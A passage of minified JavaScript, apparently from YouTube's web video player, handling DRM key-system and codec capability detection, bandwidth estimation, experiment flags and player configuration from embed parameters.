dWv=function(x,T,t,u){if(!x.T9()){u&&(O4={keySystem:T.keySystem,keySystemAccess:t,OC7:JSON.stringify(u)});T.keySystemAccess=t;if(LY(T)){t=Ft();u=g.S(Object.keys(x.C[T.flavor]));for(var H=u.next();!H.done;H=u.next())H=H.value,T.C[H]=!!t.canPlayType(H)}else{t=T.keySystemAccess.getConfiguration();if(t.audioCapabilities)for(u=g.S(t.audioCapabilities),H=u.next();!H.done;H=u.next())Mem(x,T,H.value);if(t.videoCapabilities)for(t=g.S(t.videoCapabilities),u=t.next();!u.done;u=t.next())Mem(x,T,u.value)}x.K.push(T);
x.useCobaltWidevine||x.B("html5_enable_vp9_fairplay")&&gV(T)?(x.Z.shift(),pY(x)):x.callback(x.K)}};
Mem=function(x,T,t){x.B("log_robustness_for_drm")?T.C[t.contentType]=t.robustness||!0:T.C[t.contentType]=!0};
mWJ=function(x,T){var t={initDataTypes:["cenc","webm"],audioCapabilities:[],videoCapabilities:[]};if(x.B("html5_enable_vp9_fairplay")&&a$(T))return t.audioCapabilities.push({contentType:'audio/mp4; codecs="mp4a.40.5"'}),t.videoCapabilities.push({contentType:'video/mp4; codecs="avc1.4d400b"'}),[t];LY(T)&&(t.initDataTypes=["keyids","cenc"]);for(var u=g.S(Object.keys(x.C[T.flavor])),H=u.next();!H.done;H=u.next()){H=H.value;var I=H.indexOf("audio/")===0,E=I?t.audioCapabilities:t.videoCapabilities;T.flavor!==
"widevine"||x.T?E.push({contentType:H}):I?E.push({contentType:H,robustness:"SW_SECURE_CRYPTO"}):(g.vU&&g.D2("windows nt")&&!x.B("html5_drm_enable_moho")||E.push({contentType:H,robustness:"HW_SECURE_ALL"}),I=H,x.B("html5_enable_cobalt_experimental_vp9_decoder")&&H.includes("vp09")&&(I=H+"; experimental=allowed"),E.push({contentType:I,robustness:"SW_SECURE_DECODE"}),wV(x.Pv)==="MWEB"&&(XW()||yX())&&(x.kc("swcrypto",{}),E.push({contentType:H,robustness:"SW_SECURE_CRYPTO"})))}return[t]};
e94=function(x){if(VF()&&(g.M4||Or&&x.B("html5_drm_support_ios_mweb")))x.K.push(new vT("fairplay","com.apple.fps.1_0","",x.Pv.experiments));else{var T=AH3(),t=g.Oh(x.Z,function(u){var H=x.j[u],I=!1,E=!1,Z;for(Z in x.C[H.flavor])T(Z,u)&&(H.C[Z]=!0,I=I||Z.indexOf("audio/")===0,E=E||Z.indexOf("video/")===0);return I&&E});
t&&x.K.push(x.j[t]);x.Z=[]}x.callback(x.K)};
AH3=function(){var x=VF();if(x){var T=x.isTypeSupported;return function(u,H){return T(H,u)}}var t=Ft();
return t&&(t.addKey||t.webkitAddKey)?function(u,H){return!!t.canPlayType(u,H)}:function(){return!1}};
R94=function(x){this.experiments=x;this.C=2048;this.K=0;this.jY=(this.S=this.B("html5_streaming_resilience"))?.5:.25;var T=T===void 0?0:T;this.j=g.Z9(this.experiments,"html5_media_time_weight_prop")||T;this.T=this.B("html5_app_limited_aware_bwe");this.Hv=g.Z9(this.experiments,"html5_sabr_timeout_penalty_factor")||1;this.uG=(this.D=this.experiments.aU("html5_consider_end_stall"))&&KY;this.Z=this.experiments.aU("html5_measure_max_progress_handling");this.ZZ=this.B("html5_treat_requests_pre_elbow_as_metadata");
this.N=this.B("html5_media_time_weight")||!!this.j;this.J=g.Z9(this.experiments,"html5_streaming_fallback_byterate");this.B("html5_sabr_live_audio_early_return_fix")&&KY&&(this.C=65536)};
PZD=function(x,T){this.C=void 0;this.experimentIds=x?x.split(","):[];this.flags=xD(T||"","&");x={};T=g.S(this.experimentIds);for(var t=T.next();!t.done;t=T.next())x[t.value]=!0;this.experiments=x};
g.Z9=function(x,T){x=x.flags[T];JSON.stringify(x);return Number(x)||0};
XT=function(x,T){return(x=x.flags[T])?x.toString():""};
S1v=function(x){if(x=x.flags.html5_web_po_experiment_ids)if(x=x.replace(/\[ *(.*?) *\]/,"$1"))return x.split(",").map(Number);return[]};
cHJ=function(x){if(x.C)return x.C;if(x.experimentIds.length<=1)return x.C=x.experimentIds,x.C;var T=[].concat(g.U(x.experimentIds)).map(function(u){return Number(u)});
T.sort();for(var t=T.length-1;t>0;--t)T[t]-=T[t-1];x.C=T.map(function(u){return u.toString()});
x.C.unshift("v1");return x.C};
UWD=function(x){return Y1m.then(x)};
x3=function(x,T,t){this.experiments=x;this.hQ=T;this.QU=t===void 0?!1:t;this.jY=!!g.yJ("cast.receiver.platform.canDisplayType");this.S={};this.J=!1;this.Z=new Map;this.N=!0;this.K=this.T=!1;this.C=new Map;this.uG=0;this.Hv=this.experiments.aU("html5_disable_vp9_encrypted");this.j=this.experiments.aU("html5_enable_encrypted_av1");x=g.yJ("cast.receiver.platform.getValue");this.Om=g.Z9(this.experiments,"html5_kaios_max_resolution");this.D=!this.jY&&x&&x("max-video-resolution-vpx")||null;bim(this)};
sSH=function(x,T,t){t=t===void 0?1:t;var u=T.itag;if(u==="0")return!0;var H=T.mimeType;if(T.LF()&&Jg()&&x.experiments.aU("html5_appletv_disable_vp9"))return"dwebm";if(T.Wv==="1e"&&!x.j)return"dav1enc";if(Oq(T)&&x.J)return"dav1";if(T.video&&(T.video.isHdr()||T.video.primaries==="bt2020")&&!(Pt(x,SR.EOTF)||window.matchMedia&&(window.matchMedia("(dynamic-range: high), (video-dynamic-range: high)").matches||window.screen.pixelDepth>24&&window.matchMedia("(color-gamut: p3)").matches)))return"dhdr";if(u===
"338"&&!(g.vU?YP(53):g.WT&&YP(64)))return"dopus";var I;if(x.Om&&Tw&&((I=T.video)==null?void 0:I.C)>x.Om)return"kaios";I=t;I=I===void 0?1:I;t={};T.video&&(T.video.width&&(t[SR.WIDTH.name]=T.video.width),T.video.height&&(t[SR.HEIGHT.name]=T.video.height),T.video.fps&&(t[SR.FRAMERATE.name]=T.video.fps*I),T.video.Z&&(t[SR.EOTF.name]=T.video.Z),T.Zp&&(t[SR.BITRATE.name]=T.Zp*8*I),T.Wv==="("&&(t[SR.CRYPTOBLOCKFORMAT.name]="subsample"),T.video.projectionType==="EQUIRECTANGULAR"||T.video.projectionType===
"EQUIRECTANGULAR_THREED_TOP_BOTTOM"||T.video.projectionType==="MESH")&&(t[SR.DECODETOTEXTURE.name]="true");T.audio&&T.audio.numChannels&&(t[SR.CHANNELS.name]=T.audio.numChannels);x.T&&Cj(T)&&(t[SR.EXPERIMENTAL.name]="allowed");I=g.S(Object.keys(SR));for(var E=I.next();!E.done;E=I.next()){E=SR[E.value];var Z;if(Z=t[E.name])if(Z=!(E===SR.EOTF&&T.mimeType.indexOf("vp09.02")>0)){Z=E;var e=T;Z=!(x.experiments.aU("html5_ignore_h264_framerate_cap")&&Z===SR.FRAMERATE&&q3X(e))}if(Z)if(Pt(x,E))if(x.D){if(x.D[E.name]<
t[E.name])return E.name}else H=H+"; "+E.name+"="+t[E.name];else if(QV(T)&&E===SR.EOTF)return"dvp92"}x.jY&&T.video&&T.video.C>1080&&T.wb&&(H+="; hdcp=2.2");return u==="227"?"hqcenc":u!=="585"&&u!=="588"&&u!=="583"&&u!=="586"&&u!=="584"&&u!=="587"&&u!=="591"&&u!=="592"||x.experiments.aU("html5_enable_new_hvc_enc")?x.isTypeSupported(H)?!0:"tpus":"newhvc"};
oQ=function(){var x=yX()&&!YP(29),T=g.D2("google tv")&&g.D2("chrome")&&!YP(30);return x||T?!1:da4()};
rHf=function(x,T,t){var u=480;T=g.S(T);for(var H=T.next();!H.done;H=T.next()){H=H.value;var I=H.video.C;I<=1080&&I>u&&sSH(x,H,t)===!0&&(u=I)}return u};
g.tF=function(x,T){T=T===void 0?!1:T;return oQ()&&x.isTypeSupported('audio/mp4; codecs="mp4a.40.2"')||!T&&x.canPlayType(Ft(),"application/x-mpegURL")?!0:!1};
kjv=function(x){z9D(function(){for(var T=g.S(Object.keys(SR)),t=T.next();!t.done;t=T.next())Pt(x,SR[t.value])})};
Pt=function(x,T){T.name in x.S||(x.S[T.name]=F8m(x,T));return x.S[T.name]};
F8m=function(x,T){if(x.D)return!!x.D[T.name];if(T===SR.BITRATE&&x.isTypeSupported('video/webm; codecs="vp9"; width=3840; height=2160; bitrate=2000000')&&!x.isTypeSupported('video/webm; codecs="vp9"; width=3840; height=2160; bitrate=20000000'))return!1;if(T===SR.AV1_CODECS)return x.isTypeSupported("video/mp4; codecs="+T.valid)&&!x.isTypeSupported("video/mp4; codecs="+T.kJ);if(T.video){var t='video/webm; codecs="vp9"';x.isTypeSupported(t)||(t='video/mp4; codecs="avc1.4d401e"')}else t='audio/webm; codecs="opus"',
x.isTypeSupported(t)||(t='audio/mp4; codecs="mp4a.40.2"');return x.isTypeSupported(t+"; "+T.name+"="+T.valid)&&!x.isTypeSupported(t+"; "+T.name+"="+T.kJ)};
h9q=function(x){x.T||(x.T=!0,s0(x))};
s0=function(x){x.K=!0;x.experiments.aU("html5_ssap_update_capabilities_on_change")&&vl5(x)};
VeH=function(x,T){var t=0;x.Z.has(T)&&(t=x.Z.get(T).X_);x.Z.set(T,{X_:t+1,eS:Math.pow(2,t+1)});s0(x)};
dU=function(x){for(var T=[],t=g.S(x.C.keys()),u=t.next();!u.done;u=t.next()){u=u.value;var H=x.C.get(u);T.push(u+"_"+H.maxWidth+"_"+H.maxHeight)}return T.join(".")};
vl5=function(x){x.ZZ=[];for(var T=g.S(x.C.values()),t=T.next();!t.done;t=T.next()){t=t.value;var u=t.Wv;x.experiments.aU("html5_ssap_force_mp4_aac")&&u!=="a"&&u!=="h"||x.Z.has(u)||x.J&&(u==="1"||u==="1h"||x.j&&u==="1e")||x.ZZ.push(t)}};
fkH=function(x,T){for(var t=new Map,u=g.S(x.C.keys()),H=u.next();!H.done;H=u.next()){H=H.value;var I=H.split("_")[0];T.has(I)||t.set(H,x.C.get(H))}x.C=t};
Kxm=function(x,T,t){var u,H=((u=t.video)==null?void 0:u.fps)||0;u=T+"_"+H;var I=!!t.audio,E={itag:t.itag,Wv:T,iD:I};if(I)E.numChannels=t.audio.numChannels;else{var Z=t.video;E.maxWidth=Z==null?void 0:Z.width;E.maxHeight=Z==null?void 0:Z.height;E.maxFramerate=H;Pt(x,SR.BITRATE)&&(E.maxBitrateBps=t.Zp*8);E.hT=Z==null?void 0:Z.isHdr()}Z=x.C.get(u);Z?I||(t=Math.max(Z.maxWidth||0,Z.maxHeight||0)>Math.max(E.maxWidth||0,E.maxHeight||0)?Z:E,T={itag:t.itag,Wv:T,iD:I,maxWidth:Math.max(Z.maxWidth||0,E.maxWidth||
0),maxHeight:Math.max(Z.maxHeight||0,E.maxHeight||0),maxFramerate:H,hT:t.hT},Pt(x,SR.BITRATE)&&(T.maxBitrateBps=t.maxBitrateBps),x.C.set(u,T)):x.C.set(u,E)};
Xvv=function(x,T,t){var u,H=((u=t.video)==null?void 0:u.fps)||0;u=T+"_"+H;var I=!!t.audio,E=x.C.get(u);a:{var Z=x.C.get(u),e=!!t.audio;if(Z){if(e){var l=!1;break a}var m;if(!e&&((l=t.video)==null?0:l.height)&&Z.maxHeight&&Z.maxHeight>=((m=t.video)==null?void 0:m.height)){l=!1;break a}}l=!0}l&&(l=t.itag,T=E?E:{itag:l,Wv:T,iD:I},I?T.numChannels=t.audio.numChannels:(I=t.video,T.maxWidth=I==null?void 0:I.width,T.maxHeight=I==null?void 0:I.height,T.maxFramerate=H,Pt(x,SR.BITRATE)&&(T.maxBitrateBps=t.Zp*
8),T.hT=I==null?void 0:I.isHdr()),x.C.set(u,T))};
bim=function(x){var T;(T=navigator.mediaCapabilities)!=null&&T.decodingInfo&&navigator.mediaCapabilities.decodingInfo({type:"media-source",video:{contentType:'video/mp4; codecs="av01.0.12M.08"',width:3840,height:2160,bitrate:32E6,framerate:60}}).then(function(t){t.smooth&&t.powerEfficient&&(x.uG=2160)})};
um=function(){g.$B.call(this);this.items={}};
$3=function(){g.RO.apply(this,arguments)};
H_=function(){g.PC.apply(this,arguments)};
GjC=function(x,T,t){this.encryptedClientKey=T;this.T=t;this.C=new Uint8Array(x.buffer,0,16);this.j=new Uint8Array(x.buffer,16)};
L8q=function(x){x.Z||(x.Z=new $3(x.C));return x.Z};
im=function(x){try{return PI(x)}catch(T){return null}};
nlC=function(x,T){if(!T&&x)try{T=JSON.parse(x)}catch(H){}if(T){x=T.clientKey?im(T.clientKey):null;var t=T.encryptedClientKey?im(T.encryptedClientKey):null,u=T.keyExpiresInSeconds?Number(T.keyExpiresInSeconds)*1E3+(0,g.bo)():null;x&&t&&u&&(this.C=new GjC(x,t,u));T.onesieUstreamerConfig&&(this.onesieUstreamerConfig=im(T.onesieUstreamerConfig)||void 0);this.baseUrl=T.baseUrl}};
E0=function(){this.data=new Uint8Array(2048);this.pos=0;IQ||(IQ=z7("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_."))};
q_=function(x,T){x.add(T==null||isNaN(T)?0:T+1)};
Zm=function(x){this.C=this.Z=0;this.alpha=Math.exp(Math.log(.5)/x)};
ji=function(x){this.Z=x===void 0?15:x;this.values=new Float64Array(176);this.C=new Float64Array(11);this.j=new Float64Array(16)};
ei=function(x,T,t,u){t=t===void 0?.5:t;u=u===void 0?0:u;this.resolution=T;this.Z=0;this.j=!1;this.ZU=!0;this.C=Math.round(x*this.resolution);this.values=Array(this.C);for(x=0;x<this.C;x++)this.values[x]=Infinity;this.T=azV(this);this.K=t;this.D=u};
azV=function(x){for(var T=Array(x.C),t=0;t<x.C;t++)T[t]=t;return T};
lm=function(x,T,t){g.W.call(this);this.policy=x;this.Z=T;this.sF=t;this.uG=this.G9=0;this.jY=-1;this.Hv=this.T=0;this.ZZ=!1;this.interruptions=[];this.K=[{stamp:0,net:0,max:0}];this.QU=this.D=(0,g.bo)();this.J=new ei(4,1,.6,.4);this.Om=new ei(4,1,.6,.4);this.N=new ei(20,1,.5,.4);x.jY?this.j=new ji(x.C):x.Z?this.j=new Zm(x.C):this.j=new ei(x.C,20,.5,.4);this.hQ=new ei(5,1,.25);this.S=new ei(30,1,.5);x=g.VT("yt-player-bandwidth")||{};T=this.policy.j;if(x.byterate>0)T=x.byterate,this.ZZ=!0;else{var u;
t=(((u=navigator.connection)==null?void 0:u.downlink)||0)*64*1024;t>0&&(T=t,this.ZZ=!0)}this.j.SF(this.policy.D,T);x.delay>0&&this.J.SF(1,Math.min(x.delay,2));x.stall>0&&this.N.SF(1,x.stall);x.init>0&&(this.QU=Math.min(x.init,this.QU));x.interruptions&&(this.K=this.K.concat(x.interruptions),this.K.length>16&&this.K.pop());this.jY=(0,g.bo)();this.policy.N>0&&(this.nf=new g.wX(this.AQ,this.policy.N,this),g.y(this,this.nf),this.nf.start())};
mI=function(x,T,t,u){x.j.SF(u===void 0?T:u,t/T);x.D=(0,g.bo)()};
glD=function(x){x.T||(x.T=(0,g.bo)());x.policy.S&&(x.D=(0,g.bo)())};
BcC=function(x,T){if(x.T){var t=T-x.T;if(t<6E4){if(t>1E3){var u=x.interruptions;u.push(Math.ceil(t));u.sort(function(H,I){return I-H});
u.length>16&&u.pop()}x.Hv+=t}}x.T=T};
ds=function(x,T,t,u,H,I){I=I===void 0?!1:I;x.hQ.SF(T,t/T);x.D=(0,g.bo)();H||x.S.SF(1,T-u);I||(x.T=0);x.jY>-1&&(0,g.bo)()-x.jY>3E4&&W85(x)};
M_=function(x,T,t){T=Math.max(T,x.Z.C);x.N.SF(1,t/T)};
AF=function(x){x=x.J.Z$()+x.Om.Z$()||0;x=isNaN(x)?.5:x;return x=Math.min(x,5)};
RQ=function(x,T,t){isNaN(t)||(x.uG+=t);isNaN(T)||(x.G9+=T)};
P_=function(x){x=x.j.Z$();return x>0?x:1};
Si=function(x,T,t){T=T===void 0?!1:T;t=t===void 0?1048576:t;var u=P_(x);u=1/((x.N.Z$()||0)*x.policy.ZZ+1/u);var H=x.hQ.Z$();H=H>0?H:1;var I=Math.max(u,H);x.policy.T>0&&H<u&&(I=Math.min(x.policy.T,1),I=(1-I)*u+I*H);if(!T)return I;T=1E-9+AF(x);t=I*Math.min(1,t/(I*T));x.policy.K||(x=((x.S.percentile(.98)||0)-1)/2,x=Math.max(0,Math.min(1,x)),t*=1-.5*x);return t};
DWi=function(x){var T={delay:AF(x),stall:x.N.Z$()||0,byterate:P_(x),init:x.QU},t=x.K[0];t.stamp=Math.round(x.D/36E5)*36E5;t.net=Math.ceil(x.Hv);t.max=x.interruptions[0]||0;T.interruptions=x.K;return T};
W85=function(x){g.vc("yt-player-bandwidth",DWi(x),2592E3);x.jY=(0,g.bo)();x.ZZ=!0};
c_=function(x){return(0,g.bo)()-x.D>=4E3};
yH5=function(x){this.experiments=x;this.C=17;this.j=13E4;this.D=.5;this.Z=!1;this.jY=this.B("html5_use_histogram_for_bandwidth");this.K=!1;this.T=g.Z9(this.experiments,"html5_auxiliary_estimate_weight");this.ZZ=g.Z9(this.experiments,"html5_stall_factor")||1;this.N=g.Z9(this.experiments,"html5_check_for_idle_network_interval_ms");this.J=this.experiments.aU("html5_trigger_loader_when_idle_network");this.S=this.experiments.aU("html5_sabr_fetch_on_idle_network_preloaded_players")};
JH5=function(x,T){x=x===void 0?{}:x;T=T===void 0?{}:T;g.W.call(this);var t=this;this.values=x;this.O_=T;this.Z={};this.j=this.C=0;this.K=new g.wX(function(){Ncv(t)},1E4);
g.y(this,this.K)};
Y3=function(x,T){CZD(x,T);return x.values[T]&&x.O_[T]?x.values[T]/Math.pow(2,x.C/x.O_[T]):0};
CZD=function(x,T){x.values[T]||(T=rhv(),x.values=T.values||{},x.O_=T.halfLives||{},x.Z=T.values?Object.assign({},T.values):{})};
Ncv=function(x){var T=rhv();if(T.values){T=T.values;for(var t={},u=g.S(Object.keys(x.values)),H=u.next();!H.done;H=u.next())H=H.value,T[H]&&x.Z[H]&&(x.values[H]+=T[H]-x.Z[H]),t[H]=Y3(x,H);x.Z=t}T=x.O_;t={};t.values=x.Z;t.halfLives=T;g.vc("yt-player-memory",t,2592E3)};
yZ=function(x,T,t,u,H){g.W.call(this);this.webPlayerContextConfig=T;this.KB=u;this.csiServiceName=this.csiPageType="";this.userAge=NaN;this.FR=this.tM=this.mu=this.zc=this.userDisplayName=this.userDisplayImage=this.Xt="";this.C={};this.kP={};this.controlsType="0";this.RW=NaN;this.Cz=!1;this.F3=(0,g.bo)();this.Ym=0;this.Pm=this.XT=!1;this.I8=!0;this.preferGapless=this.ZV=this.qz=this.j=this.jb=this.cS=!1;this.T2=[];this.Nz=!1;x=x?g.hq(x):{};T&&T.csiPageType&&(this.csiPageType=T.csiPageType);T&&T.csiServiceName&&
(this.csiServiceName=T.csiServiceName);T&&T.preferGapless&&(this.preferGapless=T.preferGapless);this.experiments=new PZD(T?T.serializedExperimentIds:x.fexp,T?T.serializedExperimentFlags:x.fflags);this.forcedExperiments=T?T.serializedForcedExperimentIds:uj("",x.forced_experiments)||void 0;this.cspNonce=(T==null?0:T.cspNonce)?T.cspNonce:uj("",x.csp_nonce);this.B("web_player_deprecated_uvr_killswitch");try{var I=document.location.toString()}catch(O){I=""}this.dN=I;this.ancestorOrigins=(u=window.location.ancestorOrigins)?
Array.from(u):[];this.K=ox(!1,T?T.isEmbed:x.is_embed);if(T&&T.device){if(u=T.device,u.androidOsExperience&&(this.C.caoe=""+u.androidOsExperience),u.androidPlayServicesVersion&&(this.C.capsv=""+u.androidPlayServicesVersion),u.brand&&(this.C.cbrand=u.brand),u.browser&&(this.C.cbr=u.browser),u.browserVersion&&(this.C.cbrver=u.browserVersion),u.cobaltReleaseVehicle&&(this.C.ccrv=""+u.cobaltReleaseVehicle),this.C.c=u.interfaceName||"WEB",this.C.cver=u.interfaceVersion||"html5",u.interfaceTheme&&(this.C.ctheme=
u.interfaceTheme),this.C.cplayer=u.interfacePlayerType||"UNIPLAYER",u.model&&(this.C.cmodel=u.model),u.network&&(this.C.cnetwork=u.network),u.os&&(this.C.cos=u.os),u.osVersion&&(this.C.cosver=u.osVersion),u.platform&&(this.C.cplatform=u.platform),I=XT(this.experiments,"html5_log_vss_extra_lr_cparams_freq"),I==="all"||I==="once")u.chipset&&(this.kP.cchip=u.chipset),u.cobaltAppVersion&&(this.kP.ccappver=u.cobaltAppVersion),u.firmwareVersion&&(this.kP.cfrmver=u.firmwareVersion),u.deviceYear&&(this.kP.crqyear=
u.deviceYear)}else this.C.c=x.c||"web",this.C.cver=x.cver||"html5",this.C.cplayer="UNIPLAYER";this.loaderUrl=T?this.K||QGX(this)&&T.loaderUrl?T.loaderUrl||"":this.dN:this.K||QGX(this)&&x.loaderUrl?uj("",x.loaderUrl):this.dN;this.K&&g.DC("yt.embedded_player.embed_url",this.loaderUrl);this.N=wi(this.loaderUrl,p0i);u=this.loaderUrl;var E=E===void 0?!1:E;this.U$=fG(wi(u,Oi3),u,E,"Trusted Ad Domain URL");this.rp=ox(!1,x.privembed);this.protocol=this.dN.indexOf("http:")===0?"http":"https";this.lf=KG((T?
T.customBaseYoutubeUrl:x.BASE_YT_URL)||"")||KG(this.dN)||this.protocol+"://www.youtube.com/";E=T?T.eventLabel:x.el;u="detailpage";E==="adunit"?u=this.K?"embedded":"detailpage":E==="embedded"||this.N?u=tt(u,E,fzV):E&&(u="embedded");this.Om=u;FFf();E=null;u=T?T.playerStyle:x.ps;I=g.wy(w0i,u);!u||I&&!this.N||(E=u);this.playerStyle=E;this.D=g.wy(w0i,this.playerStyle);this.houseBrandUserStatus=T==null?void 0:T.houseBrandUserStatus;this.jY=this.D&&this.playerStyle!=="play"&&this.playerStyle!=="jamboard";
this.z5=!this.jY;this.QU=ox(!1,x.disableplaybackui);this.disablePaidContentOverlay=ox(!1,T==null?void 0:T.disablePaidContentOverlay);this.disableSeek=ox(!1,T==null?void 0:T.disableSeek);this.enableSpeedOptions=(T==null?void 0:T.enableSpeedOptions)||(Ft().defaultPlaybackRate?U0||g.Ky||Tw?g.WT&&YP("20")||g.vU&&YP("4")||g.bm&&YP("11")||py():!(g.bm&&!g.D2("chrome")||U0||g.D2("android")||g.D2("silk")):!1);this.SH=ox(!1,x.enable_faster_speeds);var Z;this.supportsVarispeedExtendedFeatures=(Z=T==null?void 0:
T.supportsVarispeedExtendedFeatures)!=null?Z:!1;this.Z=ox(this.playerStyle==="blazer",x.is_html5_mobile_device||T&&T.isMobileDevice);this.G9=w2()||XW();this.Xe=this.B("mweb_allow_background_playback")?!1:this.Z&&!this.D;this.nf=Lj();this.t8=g.rs;var e;this.UG=!!(T==null?0:(e=T.embedsHostFlags)==null?0:e.optOutApiDeprecation);var l;this.U9=!!(T==null?0:(l=T.embedsHostFlags)==null?0:l.allowPfpImaIntegration);this.pT=this.B("embeds_web_enable_ve_conversion_logging_tracking_no_allow_list");var m;T?T.hideInfo!==
void 0&&(m=!T.hideInfo):m=x.showinfo;this.OC=g.zw(this)&&!this.UG||ox(!k3(this)&&!FB(this)&&!this.D,m);this.yS=T?!!T.mobileIphoneSupportsInlinePlayback:ox(!1,x.playsinline);Z=this.Z&&hF&&v_!=null&&v_>0&&v_<=2.3;e=T?T.useNativeControls:x.use_native_controls;this.J=g.zw(this)&&this.Z;l=this.Z&&!this.J;e=g.VZ(this)||!Z&&ox(l,e)?"3":"1";this.disableOrganicUi=!(T==null||!T.disableOrganicUi);l=T?T.controlsType:x.controls;this.controlsType=this.disableOrganicUi?"0":l!=="0"&&l!==0?e:"0";this.ZG=this.Z;this.color=
tt("red",T?T.progressBarColor:x.color,K8H);this.s$=this.controlsType==="3";this.L2=!this.K;this.yw=(e=!this.L2&&!FB(this)&&!this.jY&&!this.D&&!k3(this))&&!this.s$&&this.controlsType==="1";this.C4=g.Gw(this)&&e&&this.controlsType==="0"&&!this.yw&&!(T==null?0:T.embedsEnableEmc3ds);this.aq=this.tJ=Z;this.FD=(this.controlsType==="3"||this.Z||ox(!1,x.use_media_volume))&&!this.J;this.Qw=Or&&!g.Mv(601)?!1:!0;this.ea=this.K||!1;this.tQ=FB(this)?"":(this.loaderUrl||x.post_message_origin||"").substring(0,128);
this.widgetReferrer=uj("",T?T.widgetReferrer:x.widget_referrer);var d;T?T.disableCastApi&&(d=!1):d=x.enablecastapi;d=!this.N||ox(!0,d);Z=!0;T&&T.disableMdxCast&&(Z=!1);this.tI=this.B("enable_cast_for_web_unplugged")&&g.L1(this)&&Z||g.L2(this)&&Z||d&&Z&&this.controlsType==="1"&&!this.Z&&(FB(this)||g.Gw(this)||g.n1(this));this.eH=!!window.document.pictureInPictureEnabled||GY();d=T?!!T.supportsAutoplayOverride:ox(!1,x.autoplayoverride);this.aH=!(this.Z&&!g.zw(this))&&!g.D2("nintendo wiiu")||d;this.WU=
(T?!!T.enableMutedAutoplay:ox(!1,x.mutedautoplay))&&!1;d=(FB(this)||k3(this))&&this.playerStyle==="blazer";this.e7=T?!!T.disableFullscreen:!ox(!0,x.fs);Z=g.Ix(g.aQ(this))&&g.zw(this);this.hM=!this.e7&&(d||g.mW())&&!Z;this.JJ=this.B("html5_picture_in_picture_logging_onresize");this.Hm=this.B("html5_picture_in_picture_blocking_onresize");this.lM=this.B("html5_picture_in_picture_blocking_ontimeupdate");this.Yn=this.B("html5_picture_in_picture_blocking_document_fullscreen");this.OG=this.B("html5_picture_in_picture_blocking_standard_api");
d=yX()&&YP(58)&&!XW();Z=CM||typeof MediaSource==="undefined";this.CB=this.B("uniplayer_block_pip")&&(d||Z)||this.Hm||this.lM||this.OG;d=g.zw(this)&&!this.UG;var M;T?T.disableRelatedVideos!==void 0&&(M=!T.disableRelatedVideos):M=x.rel;this.Jq=d||ox(!this.D,M);this.xG=ox(!1,T?T.enableContentOwnerRelatedVideos:x.co_rel);this.S=XW()&&v_>0&&v_<=4.4?"_top":"_blank";this.pF=g.n1(this);this.kX=ox(this.playerStyle==="blazer",T?T.enableCsiLogging:x.enablecsi);switch(this.playerStyle){case "blogger":M="bl";
break;case "gmail":M="gm";break;case "gac":M="ga";break;case "books":M="gb";break;case "docs":case "flix":M="gd";break;case "duo":M="gu";break;case "google-live":M="gl";break;case "google-one":M="go";break;case "play":M="gp";break;case "chat":M="hc";break;case "hangouts-meet":M="hm";break;case "photos-edu":case "picasaweb":M="pw";break;default:M="yt"}this.ZZ=M;this.uG=uj("",T?T.authorizedUserIndex:x.authuser);this.Zk=g.zw(this)&&(this.rp||!dV3()||this.G9);var A;T?T.disableWatchLater!==void 0&&(A=
!T.disableWatchLater):A=x.showwatchlater;this.tR=((M=!this.Zk)||!!this.uG&&M)&&ox(!this.jY,this.N?A:void 0);this.VI=T?T.isMobileDevice||!!T.disableKeyboardControls:ox(!1,x.disablekb);this.loop=ox(!1,x.loop);this.pageId=uj("",T?T.initialDelegatedSessionId:x.pageid);this.mN=ox(!0,x.canplaylive);this.SY=ox(!1,x.livemonitor);this.disableSharing=ox(this.D,T?T.disableSharing:x.ss);(A=T&&this.B("fill_video_container_size_override_from_wpcc")?T.videoContainerOverride:x.video_container_override)?(M=A.split("x"),
M.length!==2?A=null:(A=Number(M[0]),M=Number(M[1]),A=isNaN(A)||isNaN(M)||A*M<=0?null:new g.lu(A,M))):A=null;this.DX=A;this.mute=T?!!T.startMuted:ox(!1,x.mute);this.storeUserVolume=!this.mute&&ox(this.controlsType!=="0",T?T.storeUserVolume:x.store_user_volume);A=T?T.annotationsLoadPolicy:x.iv_load_policy;this.annotationsLoadPolicy=this.controlsType==="3"?3:tt(void 0,A,gs);this.captionsLanguagePreference=T?T.captionsLanguagePreference||"":uj("",x.cc_lang_pref);A=tt(2,T?T.captionsLanguageLoadPolicy:
x.cc_load_policy,gs);this.controlsType==="3"&&A===2&&(A=3);this.Lz=A;this.ra=T?T.hl||"en_US":uj("en_US",x.hl);this.region=T?T.contentRegion||"US":uj("US",x.cr);this.hostLanguage=T?T.hostLanguage||"en":uj("en",x.host_language);this.vB=!this.rp&&Math.random()<g.Z9(this.experiments,"web_player_api_logging_fraction");this.AQ=!this.rp;this.enabledEngageTypes=new Set;this.deviceIsAudioOnly=!(T==null||!T.deviceIsAudioOnly);this.RW=sY(this.RW,x.ismb);this.z5?(A=x.vss_host||"s.youtube.com",A==="s.youtube.com"&&
(A=B_(this.lf)||"www.youtube.com")):A="video.google.com";this.TP=A;W_(this,x,!0);this.hQ=new um;g.y(this,this.hQ);M=T?T.innertubeApiKey:uj("",x.innertube_api_key);d=T?T.innertubeApiVersion:uj("",x.innertube_api_version);A=T?T.innertubeContextClientVersion:uj("",x.innertube_context_client_version);M=g.pr("INNERTUBE_API_KEY")||M;d=g.pr("INNERTUBE_API_VERSION")||d;Z=g.pr("INNERTUBE_CONTEXT_CLIENT_CONFIG_INFO");e=wV(this);l=typeof this.C.c==="number"?Number(this.C.c):Object.keys(X04).indexOf(this.C.c);
this.WD={innertubeApiKey:M,innertubeApiVersion:d,wQ:Z,E1:e,JS:l,innertubeContextClientVersion:g.pr("INNERTUBE_CONTEXT_CLIENT_VERSION")||A,ZL:this.hostLanguage,kN:this.region,tS:g.pr("INNERTUBE_HOST_OVERRIDE")||"",mq:!!g.pr("INNERTUBE_USE_THIRD_PARTY_AUTH",!1),qmU:!!g.pr("INNERTUBE_OMIT_API_KEY_WHEN_AUTH_HEADER_IS_PRESENT",!1)};this.IJ=window.WebKitPlaybackTargetAvailabilityEvent!=null;this.T=new x3(this.experiments,this.B("html5_force_hfr_support")?!0:Un(this)||Cy()||ROC()||xUJ(this),g.vU&&g.Mv(56)||
